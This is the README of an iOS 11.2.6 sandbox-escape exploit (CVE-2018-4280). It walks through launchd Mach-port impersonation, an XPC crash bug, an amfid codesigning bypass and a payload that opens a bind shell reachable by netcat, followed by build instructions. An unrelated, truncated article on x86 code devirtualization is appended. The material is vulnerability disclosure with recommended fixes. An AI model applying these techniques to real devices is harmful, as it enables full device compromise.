Blanket is a sandbox escape targeting iOS 11.2.6

blanket

https://github.com/bazad/blanket

Blanket is a sandbox escape targeting iOS 11.2.6, although the main vulnerability was only patched in iOS 11.4.1. It exploits a Mach port replacement vulnerability in launchd (CVE-2018-4280), as well as several smaller vulnerabilities in other services, to execute code inside the ReportCrash process, which is unsandboxed, runs as root, and has the 

task_for_pid-allow

entitlement. This grants blanket control over every process running on the phone, including security-critical ones like amfid.

The exploit consists of several stages. This README will explain the main vulnerability and the stages of the sandbox escape step-by-step.

Impersonating system services

While researching crash reporting on iOS, I discovered a Mach port replacement vulnerability in launchd. By crashing in a particular way, a process can make the kernel send a Mach message to launchd that causes launchd to over-deallocate a send right to a Mach port in its IPC namespace. This allows an attacker to impersonate any launchd service it can look up to the rest of the system, which opens up numerous avenues to privilege escalation.

This vulnerability is also present on macOS, but triggering the vulnerability on iOS is more difficult due to checks in launchd that ensure that the Mach exception message comes from the kernel.

CVE-2018-4280: launchd Mach port over-deallocation while handling EXC_CRASH exception messages

Launchd multiplexes multiple different Mach message handlers over its main port, including a MIG handler for exception messages. If a process sends a 

mach_exception_raise

 or 

mach_exception_raise_state_identity

 message to its own bootstrap port, launchd will receive and process that message as a host-level exception.

Unfortunately, launchd’s handling of these messages is buggy. If the exception type is 

EXC_CRASH

, then launchd will deallocate the thread and task ports sent in the message and then return 

KERN_FAILURE

 from the service routine, causing the MIG system to deallocate the thread and task ports again. (The assumption is that if a service routine returns success, then it has taken ownership of all resources in the Mach message, while if the service routine returns an error, then it has taken ownership of none of the resources.)

Here is the code from launchd’s service routine for 

mach_exception_raise

 messages, decompiled using IDA/Hex-Rays and lightly edited for readability:

kern_return_t __fastcall
catch_mach_exception_raise(                             // (a) The service routine is
        mach_port_t            exception_port,          //     called with values directly
        mach_port_t            thread,                  //     from the Mach message
        mach_port_t            task,                    //     sent by the client. The
        exception_type_t       exception,               //     thread and task ports could
        mach_exception_data_t  code,                    //     be arbitrary send rights.
        mach_msg_type_number_t codeCnt)
{
    __int64 __stack_guard;                 // ST28_8@1
    kern_return_t kr;                      // w0@1 MAPDST
    kern_return_t result;                  // w0@4
    __int64 codes_left;                    // x25@6
    mach_exception_data_type_t code_value; // t1@7
    int pid;                               // [xsp+34h] [xbp-44Ch]@1
    char codes_str[1024];                  // [xsp+38h] [xbp-448h]@7

    __stack_guard = *__stack_chk_guard_ptr;
    pid = -1;
    kr = pid_for_task(task, &pid);
    if ( kr )
    {
        _os_assumes_log(kr);
        _os_avoid_tail_call();
    }
    if ( current_audit_token.val[5] )                   // (b) If the message was sent by
    {                                                   //     a process with a nonzero PID
        result = KERN_FAILURE;                          //     (any non-kernel process),
    }                                                   //     the message is rejected.
    else
    {
        if ( codeCnt )
        {
            codes_left = codeCnt;
            do
            {
                code_value = *code;
                ++code;
                __snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", code_value);
                --codes_left;
            }
            while ( codes_left );
        }
        launchd_log_2(
            0LL,
            3LL,
            "Host-level exception raised: pid = %d, thread = 0x%x, "
                "exception type = 0x%x, codes = { %s }",
            pid,
            thread,
            exception,
            codes_str);
        kr = deallocate_port(thread);                   // (c) The "thread" port sent in
        if ( kr )                                       //     the message is deallocated.
        {
            _os_assumes_log(kr);
            _os_avoid_tail_call();
        }
        kr = deallocate_port(task);                     // (d) The "task" port sent in the
        if ( kr )                                       //     message is deallocated.
        {
            _os_assumes_log(kr);
            _os_avoid_tail_call();
        }
        if ( exception == EXC_CRASH )                   // (e) If the exception type is
            result = KERN_FAILURE;                      //     EXC_CRASH, then KERN_FAILURE
        else                                            //     is returned. MIG will
            result = 0;                                 //     deallocate the ports again.
    }
    *__stack_chk_guard_ptr;
    return result;
}

This is what the code does:

  1. This function is the Mach service routine for 
    mach_exception_raise

     exception messages: it gets invoked directly by the Mach system when launchd processes a 

    mach_exception_raise

     Mach exception message. The arguments to the service routine are parsed from the Mach message, and hence are controlled by the message’s sender.

  2. At (b), launchd checks that the Mach exception message was sent by the kernel. The sender’s audit token contains the PID of the sending process in field 5, which will only be zero for the kernel. If the message wasn’t sent by the kernel, it is rejected.
  3. The thread and task ports from the message are explicitly deallocated at (c) and (d).
  4. At (e), launchd checks whether the exception type is 
    EXC_CRASH

    , and returns 

    KERN_FAILURE

     if so. The intent is to make sure not to handle 

    EXC_CRASH

     messages, presumably so that ReportCrash is invoked as the corpse handler. However, returning 

    KERN_FAILURE

     at this point will cause the task and thread ports to be deallocated again when the exception message is cleaned up later. This means those two ports will be over-deallocated.

In order for this vulnerability to be useful, we will want to free launchd’s send right to a Mach service it vends, so that we can then impersonate that service to the rest of the system. This means that we’ll need the task and thread ports in the exception message to really be send rights to the Mach service port we want to free in launchd. Then, once we’ve sent launchd the malicious exception message and freed the service port, we will try to get that same port name reused, but this time for a Mach port to which we hold the receive right. That way, when a client asks launchd to give them a send right to the Mach port for the service, launchd will instead give them a send right to our port, letting us impersonate that service to the client. After that, there are many different routes to gain system privileges.

Triggering the vulnerability

In order to actually trigger the vulnerability, we’ll need to bypass the check that the message was sent by the kernel. This is because if we send the exception message to launchd directly it will just be discarded. Somehow, we need to get the kernel to send a «malicious» exception message containing a Mach send right for a system service instead of the real thread and task ports.

As it turns out, there is a Mach trap, 

task_set_special_port

, that can be used to set a custom send right to be used in place of the true task port in certain situations. One of these situations is when the kernel generates an exception message on behalf of a task: instead of placing the true task send right in the exception message, the kernel will use the send right supplied by

task_set_special_port

. More specifically, if a task calls 

task_set_special_port

 to set a custom value for its 

TASK_KERNEL_PORT

special port and then the task crashes, the exception message generated by the kernel will have a send right to the custom port, not the true task port, in the «task» field. An equivalent API, 

thread_set_special_port

, can be used to set a custom port in the «thread» field of the generated exception message.

Because of this behavior, it’s actually not difficult at all to make the kernel generate a «malicious» exception message containing a Mach service port in place of the task and thread port. However, we still need to ensure that the exception message that we generate gets delivered to launchd.

Once again, making sure the kernel delivers the «malicious» exception message to launchd isn’t difficult if you know the right API. The function 

thread_set_exception_ports

 will set any Mach send right as the port to which exception messages on this thread are delivered. Thus, all we need to do is invoke 

thread_set_exception_ports

 with the bootstrap port, and then any exception we generate will cause the kernel to send an exception message to launchd.

The last piece of the puzzle is getting the right exception type. The vulnerability will only be triggered for 

EXC_CRASH

exceptions. A little trial and error reveals that we can easily generate 

EXC_CRASH

 exceptions by calling the standard 

abort

function.

Thus, in summary, we can use existing and well-documented APIs to make the kernel generate a malicious 

EXC_CRASH

exception message on our behalf and deliver it to launchd, triggering the vulnerability and freeing the Mach service port:

  1. Use 
    thread_set_exception_ports

     to set launchd as the exception handler for this thread.

  2. Call 
    bootstrap_look_up

     to get the service port for the service we want to impersonate from launchd.

  3. Call 
    task_set_special_port

    /

    thread_set_special_port

     to use that service port instead of the true task and thread ports in exception messages.

  4. Call 
    abort

    . The kernel will send an 

    EXC_CRASH

     exception message to launchd, but the task and thread ports in the message will be the target service port.

  5. Launchd will process the exception message and free the service port.

Running code after the crash

There’s a problem with the above strategy: calling 

abort

 will kill our process. If we want to be able to run any code at all after triggering the vulnerability, we need a way to perform the crash in another process.

(With other exception types a process could actually recover from the exception. The way a process would recover is to set its thread exception handler to be launchd and its task exception handler to be itself. After launchd processes and fails to handle the exception, the kernel would send the exception to the task handler, which would reset the thread state and inform the kernel that the exception has been handled. However, a process cannot catch its own 

EXC_CRASH

 exceptions, so we do need two processes.)

One strategy is to first exploit a vulnerability in another process on iOS and force that process to set its kernel ports and crash. However, for a proof-of-concept, it’s easier to create an app extension.

App extensions, introduced in iOS 8, provide a way to package some functionality of an application so it is available outside of the application. The code of an app extension runs in a separate, sandboxed process. This makes it very easy to launch a process that will set its special ports, register launchd as its exception handler for 

EXC_CRASH

, and then call 

abort

.

There is no supported way for an app to programatically launch its own app extension and talk to it. However, Ian McDowell wrote a great article describing how to use the private 

NSExtension

 API to launch and communicate with an app extension process. I’ve used an almost identical strategy here. The only difference is that we need to communicate a Mach port to the app extension process, which involves registering a dummy service with launchd to which the app extension connects.

Preventing port reuse in launchd

One challenge you would notice if you ran the exploit as described is that occasionally you would not be able to reacquire the freed port. The reason for this is that the kernel tracks a process’s free IPC entries in a freelist, and so a just-freed port name will be reused (with a different generation number) when a new port is allocated in the IPC table. Thus, we will only reallocate the port name we want if launchd doesn’t reuse that IPC entry slot for another port first.

The way around this is to bury the free IPC entry slot down the freelist, so that if launchd allocates new ports those other slots will be used first. How do we do this? We can register a bunch of dummy Mach services in launchd with ports to which we hold the receive right. When we call 

abort

, the exception handler will fire first, and then the process state, including the Mach ports, will be cleaned up. When launchd receives the 

EXC_CRASH

 exception it will inadvertently free the target service port, placing the IPC entry slot corresponding to that port name at the head of the freelist. Then, when the rest of our app extension’s Mach ports are destroyed, launchd will receive notifications and free the dummy service ports, burying the target IPC entry slot behind the slots for the just-freed ports. Thus, as long as launchd allocates fewer ports than the number of dummy services we registered, the target slot will still be on the freelist, meaning we can still cause launchd to reallocate the slot with the same port name as the original service.

The limitation of this strategy is that we need the 

com.apple.security.application-groups

 entitlement in order to register services with launchd. There are other ways to stash Mach ports in launchd, but using application groups is certainly the easiest, and suffices for this proof-of-concept.

Impersonating the freed service

Once we have spawned the crasher app extension and freed a Mach send right in launchd, we need to reallocate that Mach port name with a send right to which we hold the receive right. That way, any messages launchd sends to that port name will be received by us, and any time launchd shares that port name with a client, the client will receive a send right to our port. In particular, if we can free launchd’s send right to a Mach service, then any process that requests that service from launchd will receive a send right to our own port instead of the real service port. This allows us to impersonate the service or perform a man-in-the-middle attack, inspecting all messages that the client sends to the service.

Getting the freed port name reused so that it refers to a port we own is also quite simple, given that we’ve already decided to use the application-groups entitlement: just register dummy Mach services with launchd until one of them reuses the original port name. We’ll need to do it in batches, registering a large number of dummy services together, checking to see if any has successfully reused the freed port name, and then deregistering them. The reason is that we need to be sure that our registrations go all the way back in the IPC port freelist to recover the buried port name we want.

We can check whether we’ve managed to successfully reuse the freed port name by looking up the original service with 

bootstrap_look_up

: if it returns one of our registered service ports, we’re done.

Once we’ve managed to register a new service that gets the same port name as the original, any clients that look up the original service in launchd will be given a send right to our port, not the real service port. Thus, we are effectively impersonating the original service to the rest of the system (or at least, to those processes that look up the service after our attack).

Stage 1: Obtaining the host-priv port

Once we have the capability to impersonate arbitrary system services, the next step is to obtain the host-priv port. This step is straightforward, and is not affected by the changes in iOS 11.3. The high-level idea of this attack is to impersonate SafetyNet, crash ReportCrash, and then retrieve the host-priv port from the dying ReportCrash task port sent in the exception message.

About ReportCrash and SafetyNet

ReportCrash is responsible for generating crash reports on iOS. This one binary actually vends 4 different services (each in a different process, although not all may be running at any given time):

  1. com.apple.ReportCrash

     is responsible for generating crash reports for crashing processes. It is the host-level exception handler for 

    EXC_CRASH

    EXC_GUARD

    , and 

    EXC_RESOURCE

     exceptions.

  2. com.apple.ReportCrash.Jetsam

     handles Jetsam reports.

  3. com.apple.ReportCrash.SimulateCrash

     creates reports for simulated crashes.

  4. com.apple.ReportCrash.SafetyNet

     is the registered exception handler for the 

    com.apple.ReportCrash

     service.

The ones of interest to us are 

com.apple.ReportCrash

 and 

com.apple.ReportCrash.SafetyNet

, hereafter referred to simply as ReportCrash and SafetyNet. Both of these are MIG-based services, and they run effectively the same code.

When ReportCrash starts up, it looks up the SafetyNet service in launchd and sets the returned port as the task-level exception handler. The intent seems to be that if ReportCrash itself were to crash, a separate process would generate the crash report for it. However, this code path looks defunct: ReportCrash registers SafetyNet for 

mach_exception_raise

 messages, even though both ReportCrash and SafetyNet only handle 

mach_exception_raise_state_identity

 messages. Nonetheless, both services are still present and reachable from within the iOS container sandbox.

ReportCrash manipulation primitives

In order to carry out the following attack, we need to be able to manipulate ReportCrash (or SafetyNet) to behave in the way we want. Specifically, we need the following capabilities: start ReportCrash on demand, force ReportCrash to exit, crash ReportCrash, and make sure that ReportCrash doesn’t exit while we’re using it. Here I’ll describe how we achieve each objective.

In order to start ReportCrash, we simply need to send it a Mach message: launchd will start it on demand. However, due to its peculiar design, any message type except 

mach_exception_raise_state_identity

 will cause ReportCrash to stop responding to new messages and eventually exit. Thus, we need to send a 

mach_exception_raise_state_identity

 message if we want it to stay alive afterwards.

In order to exit ReportCrash, we can simply send it any other type of Mach message.

There are many ways to crash ReportCrash. The easiest is probably to send a 

mach_exception_raise_state_identity

 message with the thread port set to 

MACH_PORT_NULL

.

Finally, we need to ensure that ReportCrash does not exit while we’re using it. Each 

mach_exception_raise_state_identity

message that it processes causes it to spin off another thread to listen for the next message while the original thread generates the crash report. ReportCrash will exit once all of the outstanding threads generating a crash report have finished. Thus, if we can stall one of those threads while it is in the process of generating a crash report, we can keep it from ever exiting.

The easiest way I found to do that was to send a 

mach_exception_raise_state_identity

 message with a custom port in the task and thread fields. Once ReportCrash tries to generate a crash report, it will call 

task_policy_get

 on the «task» port, which will cause it to send a Mach message to the port that we sent and await a reply. But since the «task» port is just a regular old Mach port, we can simply not reply to the Mach message, and ReportCrash will wait indefinitely for 

task_policy_get

 to return.

Extracting host-priv from ReportCrash

For the first stage of the exploit, the attack plan is relatively straightforward:

  1. Start the SafetyNet service and force it to stay alive for the duration of our attack.
  2. Use the launchd service impersonation primitive to impersonate SafetyNet. This gives us a new port on which we can receive messages intended for the real SafetyNet service.
  3. Make any existing instance of ReportCrash exit. That way, we can ensure that ReportCrash looks up our SafetyNet port in the next step.
  4. Start ReportCrash. ReportCrash will look up SafetyNet in launchd and set the resulting port, which is the fake SafetyNet port for which we own the receive right, as the destination for 
    EXC_CRASH

     messages.

  5. Trigger a crash in ReportCrash. After seeing that there are no registered handlers for the original exception type, ReportCrash will enter the process death phase. At this point XNU will see that ReportCrash registered the fake SafetyNet port to receive 
    EXC_CRASH

     exceptions, so it will generate an exception message and send it to that port.

  6. We then listen on the fake SafetyNet port for the 
    EXC_CRASH

     message. It will be of type 

    mach_exception_raise

    , which means it will contain ReportCrash’s task port.

  7. Finally, we use 
    task_get_special_port

     on the ReportCrash task port to get ReportCrash’s host port. Since ReportCrash is unsandboxed and runs as root, this is the host-priv port.

At the end of this stage of the sandbox escape, we end up with a usable host-priv port. This alone demonstrates that this is a serious security issue.

Stage 2: Escaping the sandbox

Even though we have the host-priv port, our goal is to fully escape the sandbox and run code as root with the 

task_for_pid-allow

 entitlement. The first step in achieving that is to simply escape the sandbox.

Technically speaking there’s no reason we need to obtain the host-priv port before escaping the sandbox: these two steps are independent and can occur in either order. However, this stage will leave the system unstable if it or subsequent stages fail, so it’s worth putting later.

The high-level attack is to use the same launchd vulnerability again to impersonate a system service. However, this time our goal is to impersonate a service to which a client will send its task port in a Mach message. It’s easy to find by experimentation on iOS 11.2.6 that if we impersonate 

com.apple.CARenderServer

 (hereafter CARenderServer) hosted by backboardd and then communicate with 

com.apple.DragUI.druid.source

, the unsandboxed druid daemon will send its task port in a Mach message to the fake service port.

This step of the exploit is broken on iOS 11.3 because druid no longer sends its task port in the Mach message to CARenderServer. Despite this, I’m confident that this vulnerability can still be used to escape the sandbox. One way to go about this is to look for unsandboxed services that trust input from other services. These types of «vulnerabilities» would never be exploitable without the capability to replace system services, which means they are probably a low-priority attack surface, both internally and externally to Apple.

Crashing druid

Just like with ReportCrash, we need to be able to force druid to restart in case it is already running so that it looks up our fake CARenderServer port in launchd. I decided to use a bug in libxpc that was already scheduled to be fixed for this purpose.

While looking through libxpc, I found an out-of-bounds read that could be used to force any XPC service to crash:

void _xpc_dictionary_apply_wire_f
(
        OS_xpc_dictionary *xdict,
        OS_xpc_serializer *xserializer,
        const void *context,
        bool (*applier_fn)(const char *, OS_xpc_serializer *, const void *)
)
{
...
    uint64_t count = (unsigned int)*serialized_dict_count;
    if ( count )
    {
        uint64_t depth = xserializer->depth;
        uint64_t index = 0;
        do
        {
            const char *key = _xpc_serializer_read(xserializer, 0, 0, 0);
            size_t keylen = strlen(key);
            _xpc_serializer_advance(xserializer, keylen + 1);
            if ( !applier_fn(key, xserializer, context) )
                break;
            xserializer->depth = depth;
            ++index;
        }
        while ( index < count );
    }
...
}

The problem is that the use of an unchecked 

strlen

 on attacker-controlled data allows the key for the serialized dictionary entry to extend beyond the end of the data buffer. This means the XPC service deserializing the dictionary will crash, either when 

strlen

 dereferences out-of-bounds memory or when 

_xpc_serializer_advance

 tries to advance the serializer past the end of the supplied data.

This bug was already fixed in iOS 11.3 Beta by the time I discovered it, so I did not report it to Apple. The exploit is available as an independent project in my xpc-crash repository.

In order to use this bug to crash druid, we simply need to send the druid service a malformed XPC message such that the dictionary’s key is unterminated and extends to the last byte of the message.

Obtaining druid’s task port

Obtaining druid’s task port on iOS 11.2.6 using our service impersonation primitive is easy:

  1. Use the Mach service impersonation capability to impersonate CARenderServer.
  2. Send a message to the druid service so that it starts up.
  3. If we don’t get druid’s task port after a few seconds, kill druid using the XPC bug and restart it.
  4. Druid will send us its task port on the fake CARenderServer port.

Getting around the platform binary task port restrictions

Once we have druid’s task port, we still need to figure out how to execute code inside the druid process.

The problem is that XNU protects task ports for platform binaries from being modified by non-platform binaries. The defense is implemented in the function 

task_conversion_eval

, which is called by 

convert_port_to_locked_task

 and 

convert_port_to_task_with_exec_token

:

kern_return_t
task_conversion_eval(task_t caller, task_t victim)
{
	/*
	 * Tasks are allowed to resolve their own task ports, and the kernel is
	 * allowed to resolve anyone's task port.
	 */
	if (caller == kernel_task) {
		return KERN_SUCCESS;
	}

	if (caller == victim) {
		return KERN_SUCCESS;
	}

	/*
	 * Only the kernel can can resolve the kernel's task port. We've established
	 * by this point that the caller is not kernel_task.
	 */
	if (victim == kernel_task) {
		return KERN_INVALID_SECURITY;
	}

#if CONFIG_EMBEDDED
	/*
	 * On embedded platforms, only a platform binary can resolve the task port
	 * of another platform binary.
	 */
	if ((victim->t_flags & TF_PLATFORM) && !(caller->t_flags & TF_PLATFORM)) {
#if SECURE_KERNEL
		return KERN_INVALID_SECURITY;
#else
		if (cs_relax_platform_task_ports) {
			return KERN_SUCCESS;
		} else {
			return KERN_INVALID_SECURITY;
		}
#endif /* SECURE_KERNEL */
	}
#endif /* CONFIG_EMBEDDED */

	return KERN_SUCCESS;
}

MIG conversion routines that rely on these functions, including 

convert_port_to_task

 and 

convert_port_to_map

, will thus fail when we call them on druid’s task. For example, 

mach_vm_write

 won’t allow us to manipulate druid’s memory.

However, while looking at the MIG file 

osfmk/mach/task.defs

 in XNU, I noticed something interesting:

/*
 *	Returns the set of threads belonging to the target task.
 */
routine task_threads(
		target_task	: task_inspect_t;
	out	act_list	: thread_act_array_t);

The function 

task_threads

, which enumerates the threads in a task, actually takes a 

task_inspect_t

 rather than a 

task_t

, which means MIG converts it using 

convert_port_to_task_inspect

 rather than 

convert_port_to_task

. A quick look at

convert_port_to_task_inspect

 reveals that this function does not perform the 

task_conversion_eval

 check, meaning we can call it successfully on platform binaries. This is interesting because the returned threads are not 

thread_inspect_t

 rights, but rather full 

thread_act_t

 rights. Put another way, 

task_threads

 promotes a non-modifiable task right into modifiable thread rights. And since there’s no equivalent 

thread_conversion_eval

, this means we can use the Mach thread APIs to modify the threads in a task even if that task is a platform binary.

In order to take advantage of this, I wrote a library called threadexec which builds a full-featured function call capability on top of the Mach threads API. The threadexec project in and of itself was a significant undertaking, but as it is only indirectly relevant to this exploit, I will forego a detailed explanation of its inner workings.

Stage 3: Installing a new host-level exception handler

Once we have the host-priv port and unsandboxed code execution inside of druid, the next stage of the full sandbox escape is to install a new host-level exception handler. This process is straightforward given our current capabilities:

  1. Get the current host-level exception handler for 
    EXC_BAD_ACCESS

     by calling 

    host_get_exception_ports

    .

  2. Allocate a Mach port that will be the new host-level exception handler for 
    EXC_BAD_ACCESS

    .

  3. Send the host-priv port and a send right to the Mach port we just allocated over to druid.
  4. Using our execution context in druid, make druid call 
    host_set_exception_ports

     to register our Mach port as the host-level exception handler for 

    EXC_BAD_ACCESS

    .

After this stage, any time a process accesses an invalid memory address (and also does not have a registered exception handler), an 

EXC_BAD_ACCESS

 exception message will be sent to our new exception handler port. This will give us the task port of any crashing process, and since 

EXC_BAD_ACCESS

 is a recoverable exception, this time we can use the task port to execute code.

Stage 4: Getting ReportCrash’s task port

The next stage is to trigger an 

EXC_BAD_ACCESS

 exception in ReportCrash so that its task port gets sent in an exception message to our new exception handler port:

  1. Crash ReportCrash using the previously described technique. This will cause ReportCrash to generate an 
    EXC_BAD_ACCESS

    exception. Since ReportCrash has no exception handler registered for 

    EXC_BAD_ACCESS

     (remember SafetyNet is registered for 

    EXC_CRASH

    ), the exception will be delivered to the host-level exception handler.

  2. Listen for exception messages on our host exception handler port.
  3. When we receive the exception message for ReportCrash, save the task and thread ports. Suspend the crashing thread and return 
    KERN_SUCCESS

     to indicate to the kernel that the exception has been handled and ReportCrash can be resumed.

  4. Use the task and thread ports to establish an execution context inside ReportCrash just like we did with druid.

At this point, we have code execution inside an unsandboxed, root, 

task_for_pid-allow

 process.

Stage 5: Restoring the original host-level exception handler

The next two stages aren’t strictly necessary but should be performed anyway.

Once we have code execution inside ReportCrash, we should reset the host-level exception handler for 

EXC_BAD_ACCESS

 using druid:

  1. Send the old host-level exception handler port over to druid.
  2. Call 
    host_set_exception_ports

     in druid to re-register the old host-level exception handler for 

    EXC_BAD_ACCESS

    .

This will stop our exception handler port from receiving exception messages for other crashing processes.

Stage 6: Fixing up launchd

The last step is to restore the damage we did to launchd when we freed service ports in its IPC namespace in order to impersonate them:

  1. Call 
    task_for_pid

     in ReportCrash to get launchd’s task port.

  2. For each service we impersonated:
    1. Get launchd’s name for the send right to the fake service port. This is the original name of the real service port.
    2. Destroy the fake service port, deregistering the fake service with launchd.
    3. Call 
      mach_port_insert_right

       in ReportCrash to push the real service port into launchd’s IPC space under the original name.

After this step is done, the system should once again be fully functional. After successful exploitation, there should be no need to force reset the device, since the exploit repairs all the damages itself.

Post-exploitation

Blanket also packages a post-exploitation payload that bypasses amfid and spawns a bind shell. This section will describe how that is achieved.

Spawning a payload process

Even after gaining code execution in ReportCrash, using that capability is not easy: we are limited to performing individual function calls from within the process, which makes it painful to perform complex tasks. Ideally, we’d like a way to run code natively with ReportCrash’s privileges, either by injecting code into ReportCrash or by spawning a new process with the same (or higher) privileges.

Blanket chooses the process spawning route. We use 

task_for_pid

 and our platform binary status in ReportCrash to get launchd’s task port and create a new thread inside of launchd that we can control. We then use that thread to call 

posix_spawn

to launch our payload binary. The payload binary can be signed with restricted entitlements, including 

task_for_pid-allow

, to grant additional capabilities.

Bypassing amfid

In order for iOS to accept our newly spawned binary, we need to bypass codesigning. Various strategies have been discussed over the years, but the most common current strategy is to register an exception handler for amfid and then perform a data patch so that amfid crashes when trying to call 

MISValidateSignatureAndCopyInfo

. This allows us to fake the implementation of that function to pretend that the code signature is valid.

However, there’s another approach which I believe is more robust and flexible: rather than patching amfid at all, we can simply register a new amfid port in the kernel.

The kernel keeps track of which port to send messages to amfid using a host special port called 

HOST_AMFID_PORT

. If we have unsandboxed root code execution, we can set this port to a new value. Apple has protected against this attack by checking whether the reply to a validation request really came from amfid: the cdhash of the sender is compared to amfid’s cdhash. However, this doesn’t actually prevent the message from being sent to a process other than amfid; it only prevents the reply from coming from a non-amfid process. If we set up a triangle where the kernel sends messages to us, we generate the reply and pass it to amfid, and then amfid sends the reply to the kernel, then we’ll be able to bypass the sender check.

There are numerous advantages to this approach, of which the biggest is probably access to additional flags in the 

verify_code_directory

 service routine. Even though amfid does not use them all, there are many other output flags that amfid could set to control the behavior of codesigning. Here’s a partial prototype of 

verify_code_directory

:

kern_return_t
verify_code_directory(
		mach_port_t    amfid_port,
		amfid_path_t   path,
		uint64_t       file_offset,
		int32_t        a4,
		int32_t        a5,
		int32_t        a6,
		int32_t *      entitlements_valid,
		int32_t *      signature_valid,
		int32_t *      unrestrict,
		int32_t *      signer_type,
		int32_t *      is_apple,
		int32_t *      is_developer_code,
		amfid_a13_t    a13,
		amfid_cdhash_t cdhash,
		audit_token_t  audit);

Of particular interest for jailbreak developers is the 

is_apple

 parameter. This parameter does not appear to be used by amfid, but if set, it will cause the kernel to set the 

CS_PLATFORM_BINARY

 codesigning flag, which grants the application platform binary privileges. In particular, this means that the application can now use task ports to modify platform binaries directly.

Loopholes used in this attack

This attack takes advantage of several loopholes that aren’t security vulnerabilities themselves but do minimize the effectiveness of various exploit mitigations. Not all of these need to be closed together, since some are partially redundant, but it’s worth listing them all anyway.

In the kernel:

  1. task_threads

     can promote an inspect-only 

    task_inspect_t

     to a modify-capable 

    thread_act_t

    .

  2. There is no 
    thread_conversion_eval

     to perform the role of 

    task_conversion_eval

     for threads.

  3. A non-platform binary may use a 
    task_inspect_t

     right for a platform binary.

  4. Exception messages for unsandboxed processes may be delivered to sandboxed processes, even though that provides a way to escape the sandbox. It’s not clear whether there is a clean fix for this loophole.
  5. Unsandboxed code execution, the host-priv port, and the ability to crash a 
    task_for_pid-allow

     process can be combined to build a 

    task_for_pid

     workaround. (The workaround is: call 

    host_set_exception_ports

     to set a new host-level exception handler, then crash the 

    task_for_pid-allow

     process to receive its task port and execute code with the entitlement.)

In app extensions:

  1. App extensions that share an application group can communicate using Mach messages, despite the documentation suggesting that communication between the host app and the app extension should be impossible.

Recommended fixes and mitigations

I recommend the following fixes, roughly in order of importance:

  1. Only deallocate Mach ports in the launchd service routines when returning 
    KERN_SUCCESS

    . This will fix the Mach port replacement vulnerability.

  2. Close the 
    task_threads

     loophole allowing a non-platform binary to use the task port of a platform binary to achieve code execution.

  3. Fix crashing issues in ReportCrash.
  4. The set of Mach services reachable from within the container sandbox should be minimized. I do not see a legitimate reason for most iOS apps to communicate with ReportCrash or SafetyNet.
  5. As many processes as possible should be sandboxed. I’m not sure whether druid needs to be unsandboxed to function properly, but if not, it should be placed in an appropriate sandbox.
  6. Dead code should be eliminated. SafetyNet does not seem to be performing its intended functionality. If it is no longer needed, it should probably be removed.
  7. Close the 
    host_set_exception_ports

    -based 

    task_for_pid

     workaround. For example, consider whether it’s worth restricting 

    host_set_exception_ports

     to root or restricting the usability of the host-priv port under some configurations. This violates the elegant capabilities-based design of Mach, but 

    host_set_exception_ports

     might be a promising target for abuse.

  8. Consider whether it’s worth adding 
    task_conversion_eval

     to 

    task_inspect_t

    .

Running blanket

Blanket should work on any device running iOS 11.2.6.

  1. Download the project:
    
    
    git clone https://github.com/bazad/blanket
    cd blanket
  2. Download and build the threadexec library, which is required for blanket to inject code in processes and tasks:
    
    
    git clone https://github.com/bazad/threadexec
    cd threadexec
    make ARCH=arm64 SDK=iphoneos EXTRA_CFLAGS='-mios-version-min=11.1 -fembed-bitcode'
    cd ..
  3. Download Jonathan Levin’s iOS binpack, which contains the binaries that will be used by the bind shell. If you change the payload to do something else, you won’t need the binpack.
    
    
    mkdir binpack
    curl http://newosxbook.com/tools/binpack64-256.tar.gz | tar -xf- -C binpack
  4. Open Xcode and configure the project. You will need to change the signing identifier and specify a custom application group entitlement.
  5. Edit the file 
    headers/config.h

     and change 

    APP_GROUP

     to whatever application group identifier you specified earlier.

After that, you should be able to build and run the project on the device.

If blanket is successful, it will run the payload binary (source in 

blanket_payload/blanket_payload.c

), which by default spawns a bind shell on port 4242. You can connect to that port with netcat and run arbitrary shell commands.

Credits

Many thanks to Ian Beer and Jonathan Levin for their excellent iOS security and internals research.

Timeline

Apple assigned the Mach port replacement vulnerability in launchd CVE-2018-4280, and it was patched in iOS 11.4.1 and macOS 10.13.6 on July 9.

Project: x86-devirt

Unpackme — x86 Virtualizer

Today, I am going to be going through how x86devirt works to disassemble and devirtualize the behaviour of code obfuscated using the x86virt virtual machine. I needed several tools to complete this task, the development of which will be covered in this article.

A code virtualizer protects code behaviour by retargeting some subroutines or sections of code from the x86/x64 platform (which is well understood and documented) into a (usually somewhat random) platform that we do not understand. Additionally, the tools we use to discover and analyze behaviour in executable code (such as radare2 or x64dbg) also do not understand it well. This makes identifying malicious behaviour, developing generic signatures or extracting other behavioral details from the code impossible without reversing the process in some way.

While it costs a large overhead in performance, obfuscation using code virtualization is very effective. Depending on the complexity of the protector/virtualizer, these packers can be very painful and tedious to work through.

Resources

You can see the final product (devirtualizer) of this article at the following GitHub URL: https://github.com/JeremyWildsmith/x86devirt

We are reverse engineering an unpackme by ReWolf at the following URL: https://tuts4you.com/download/1850/

This sample has been packed with an open-source application by ReWolf that is publicly posted on GitHub at the following URL: https://github.com/rwfpl/rewolf-x86-virtualizer

If you would like to look at a very simple example of a virtual machine, I have a project up on my GitHub that demonstrates the basic function of a VM Stub and you can see how exactly it works. The project is located at the following URL: https://github.com/JeremyWildsmith/StackLang

Tools / Knowledge

In this article I am going to use the following tools & knowledge:

  • The disassembler, written in the C++ programming language
  • x86 Intel Assembly
  • YARA Signatures
  • The udis86 library, used to disassemble x86 instructions
  • Python, used to automate x64dbg and the x64dbgpy plugin, as well as run Angr simulations to extract the jmp mappings
  • The x86virt unpackme sample by ReWolf on tuts4you.com (https://tuts4you.com/download/1850/)

How the x86virt VM Works

Before I dive into how x86devirt works, I am going to give a brief overview on my findings of how the x86virt VM works.

x86virt starts by taking the application to be protected and grabbing some subroutines that it has decided to protect. The x86 code for these subroutines is translated into an instruction set that uses the following format:

(Instruction Size)(Instruction Prefix)(Instruction Data)

  • Instruction Size — The size in bytes of the instruction
  • Instruction Prefix — This is 0xFFFF if the instruction is a VM instruction. Otherwise, the remaining bytes in the instruction data (and instruction prefix) should be interpreted as a x86 instruction
  • Instruction Data — If (Instruction Prefix) is 0xFFFF, this is the VM Opcode bytes followed by the operand bytes. Otherwise, these bytes are appended to the (Instruction Prefix) to form a valid x86 instruction.

For every VM Layer or virtualized target, x86virt randomizes the opcodes for that VM. So when we devirtualize, we need to map the opcodes to their respective VM instruction.

x86virt also takes instructions like the ones below:


mov eax, [esp + 0x8]

And translates them into something like this:


mov VMR, 0x8
